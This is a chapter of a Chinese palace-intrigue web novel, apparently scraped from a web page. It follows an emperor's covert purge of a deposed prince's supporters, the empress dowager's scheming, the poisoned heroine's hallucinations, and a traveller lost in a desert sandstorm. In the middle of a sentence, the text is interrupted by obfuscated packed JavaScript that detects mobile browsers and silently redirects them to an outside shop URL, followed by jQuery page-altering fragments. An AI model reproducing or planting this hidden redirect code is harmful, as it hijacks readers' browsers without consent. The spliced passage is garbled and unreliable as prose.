135.流沙
作品:《帝青》 逢暮春之末,昭京下了场又急又猛的暴雨。
宫内。
雨水敲打着紫宸殿的琉璃瓦,顺着飞檐哗啦啦地淌下来,在殿前石阶上溅起了一大片茫茫水雾。
李牧之孤身立于殿门口,望着这铺天盖地的雨帘。
铁骑尽归,捷报频传,一封封信纸跨马加鞭地送到了皇帝的手中。
铁骑的首领将密报躬身递来:“陛下,成果皆在此处。”
李牧之拆开一看,字迹潦草而清晰,记录着这一个月以来的捕杀成果:
肃州以北三十里,发现疑似目标。年四旬,蓄短须,右眉有旧疤。已处理。
阳城驿站,一南来行商形貌肖似。查其路引有疑,随行三人皆灭口。
江南道,某乡间塾师与学生言谈间提及废太子之仁德。塾师溺毙,学生七人失踪。
已处理和灭口的字迹背后都藏了条人命,一个好端端的家庭,就这样无声无息地消亡了呵。
李牧之才管不了那么多,他已经深深陶醉于这种感觉了。
权力在握,生杀予夺,一切尽在他至高至上的掌控之中。
李澜就算还活着又如何?装疯卖傻十年又能怎样?普天之下,莫非他靖和帝的领土,能逃到哪里去呢。
回头看去,浑身湿透的铁骑首领跪在殿中,雨水顺着甲胄往下滴着:“十路人马,已查遍七路。余下三路最迟五日内必有回音。”
李牧之“嗯”了一声,将密报随手丢在案上:“做得干净些。别留后患。”
“是。”
首领很快便退下了,脚步声逐渐消融于雨声中。
李牧之重新拿起密报再次检查了一遍,随后走到烛台边,将纸角凑到了火苗上。
纸质易燃,火舌瞬间舔舐上来,将写有无数可疑人士的墨迹尽数吞噬了。
同一场雨,也落在了长宁宫中。
赵太后近些日子与李牧之颇有冰释前嫌之兆,也在协助他彻查朝中残余的李澜势力。
她命人找出本很旧的官员名册,上面用工整的小楷密密麻麻写满了与李澜有过关联的人士:
窦玄龄,秦啸虎,程文渊,苏文衍……
每个名字后面都跟了简短的备注:某年某月,于东宫讲学;某年某月,随太子巡视河工;某年某月,上疏为太子请功,诸如此类。
这些人是李澜还是太子时,东宫的僚属或往来密切者的名册。部分名字,如薛高义等人,在这几年陆续贬黜或致仕,已被朱笔划去。还有些名字上打着问号,这些人则是尚在朝中,对当今陛下态度暧昧的。
赵太后眯着眼睛看了许久,在看到程文渊的名字时,明显顿了顿。
此人算是程老将军的远亲,官至户部尚书。这些年一直不偏不倚,不争不抢,看似心思不在朝廷上,谁又知道他心里装得究竟是何许人也?
赵太后轻笑一声,拿起朱笔,在“程文渊”旁边批了一行小字:其亲族程晚凝有皇子,可用。
又往下看,竟找到了蘅芜书院的山长苏文衍。此人清高,不涉朝政,可书院里的学生们可就不一定了。
尤其是屡屡出现的林青,文章写得锋芒毕露,屡次顶撞牧之,陈静为这届状元,却处处维护林青,一举一动都透着不寻常。
这二人举止异常,为人处世偏偏滴水不漏,竟查不出底细来。
赵太后的眼神冷了下来,她想起薛映棠先前的提醒,以及与李牧之商谈的话:“母后在宫中这些年人脉眼线遍布六宫。替朕查查,朝中哪些人心思活络了。”
是啊,她是该查查。可不是为了她愚钝的牧之查,她自己也非常需要这份讯息。
十余年过去,她从先帝的妃子变为太后,依附过李牧之,又最终与他离心,每一步都走得如履薄冰。
此时李澜失踪,朝局即将重构秩序,正是重新洗牌的好时机。
谁能用,该除,可拉拢,又是谁必须死。她啊,心里也得有一本明账。
“来人。”她轻唤着内侍,“告知陛下,加重蘅芜书院的赋税。”
“是。”
内侍悄无声息地退下了。
赵太后这才长舒了一口气,合上名册后靠在凤榻上,将珠帘也放了下来。
雨声敲打着窗棂,一声声催人欲睡。风声也卷起了帘上的玉珠,发出叮叮当当的异响。
可她睡不着,脑子还是醒着的。
想起很多年前,还是赵晴好之时,拥有过美貌和青春,以为凭这些就能掌控一切。
可后来她发现,在真正的权力面前,少女视若珍宝的一切都那么不值一提。
所以她将自己嫁给了权力,成为了权势的新娘子。军队也好,朝臣也罢,她啊,要抓住一切能抓住的东西。
想到这些,她只能喃喃着:“都回不去了,哀家的路,总该是要走完的。”
翰林院里,李青亦不能眠。
离魂散毒性狠戾,若同蝎子,时不时便会窜出来咬她一口,蛰得她浑身生疼。近日来眩晕发作得愈发频繁,有时白日里也会眼前发黑,不得不扶着墙才能站稳。
幻觉亦如影随形。
譬如她会想象着自己坐于紫宸殿的龙椅上,甚至会回到漳州软红阁里,被迫一遍又一遍地原地起舞。
碎片如潮水般将她淹没,分不清今夕何夕,分不清自己是帝青,林青,还是吕姝卿。
今夜雨声太大,噼里啪啦的大珠小珠落于屋檐上,吵得她头痛欲裂。
索性不睡了,她披衣起身,撑了伞往屋外走去。
雨后清新的空气混着草木的气息,李青闻了闻,顿觉心情舒畅了不少。
陈君竹已经走了半个月,但至今没有任何消息。北疆距大昭有着千里之遥,不知一路上会碰见多少凶险之事。她不敢想,却又忍不住去想。
“不知他走到哪里了,唉,平安就好。”
想到此处,李青瞬间红了耳廓,怎么,现在这样关心他了?
很多年前,自己还是帝青时,从未有过这般牵挂。彼时帝青的眼里只有皇位,铲除异己并稳固江山,才是她真正关心的事。
过去陈君竹对她而言,不过是承载了她儿时的部分良知,需要逐渐淡忘的人物罢了。
换身后成了女子,她反而看清了许多。除开换位思考之外,她也明白了陈君竹真正在乎的是什么:
大义和天下黎民。
可这样的人啊,还是被她李青拽下了爱河。
离魂散的药性又再度开始
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345530|195067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发作,她的脑子也又开始变得混沌起来。吃下一枚清心丸,才能勉强压下去眼前的朦胧和眩晕。
雨完全停了,月儿弯弯,害羞地从云层里钻了出来。
望着那弯月儿,让她联想到了李澜。
李澜的气质如月,皎皎而清明。
她曾经恨他,恨他占着储君之位,受人景仰,外加得到了父皇全部的宠爱。
历经了民间的一切,她才明白过来,这些恨意是多么的可笑和幼稚。
毋论谁坐着帝王之位,心里以民为本,才是真正的君王。
若时光能倒流,一切会不一样么。
她摇摇头,甩开这些无用的念头。时光如流沙,永远不会倒流,做过的事亦永远不会抹去。
李青能做的只有向前看,在这条遍布荆棘的路上,继续走下去。
站了好一会儿,月光渐渐往西边去了,夜还深,雨方歇。
陈君竹这边一人一骑已经出了肃州。
不巧的是,还未抵达驿站,他便遇上了一场沙暴。
天地间骤然失色。黄沙如捕猎的兽群般从地平线席卷而来,撕咬着他的视线。狂风鸣叫着,卷起拳头大的石块砸在马背上,马儿惊得瞬间扬起了马蹄。
“驾!”
陈君竹见状,连忙滚鞍下马,用缰绳将自己捆在风化的一块巨石后方。
沙粒粗糙,磨得他脸颊生疼,在皮肉上划出了细密的血痕。
为了挡风,他不得已将脸埋在臂弯里,就这样埋了许久。
沙暴持续了整整两个时辰,风停时已近黄昏。
陈君竹从沙堆里爬了出来,浑身上下覆了厚厚一层黄沙,如同一尊刚从地底挖出的泥俑。
他抖了抖身子,沙粒就簌簌落下了。
马消失了,偏偏行囊还在。干粮袋被沙石划破了,馍馍碎成了渣,混在沙土里分不清彼此。
水囊倒是完好的,可里面的水只剩下了一小半。
他立即仰头灌了一口,水混着沙硌得喉咙生疼。
环顾四周,天地一片苍黄。来时的足迹早被风沙抹平,连曾经庇身的巨石也被埋得只剩个尖顶。
远处的地平线模糊不清,分不清东南西北。
恍然间这才发现,他已经迷了路。
“冷静。”陈君竹强迫自己冷静下来。
出关前,章旻在关隘处前来相送。他传达了殿下给的部分信息,外加给了他一张简易的舆图,上面标注了水源和驿站的位置。
可眼下他就连方向都辨不清,要这舆图,又有何用?
“阿青还在昭京,陈君竹,你可要撑住了,不能就这样死在这里。”
他一遍又一遍地提醒自己要清醒,又从怀中取出了李澜交给他的玉佩,玉佩色泽明丽,在暮色中泛着温润的光。
这枚玉佩上雕刻了一个狼头,刻得栩栩如生。
“陈公子,你拿着殿下的玉佩,前去找一个名叫达罕的北戎商人,他会帮到你。”
按照章旻的说法,达罕常在肃州以北的野狐岭一带活动。这一带是边境三不管的地带,走私者与逃犯们混迹于此,各方眼线亦混杂其中,鱼龙难辨。
于是眼下他最愁的,就是要先找到野狐岭的方向。

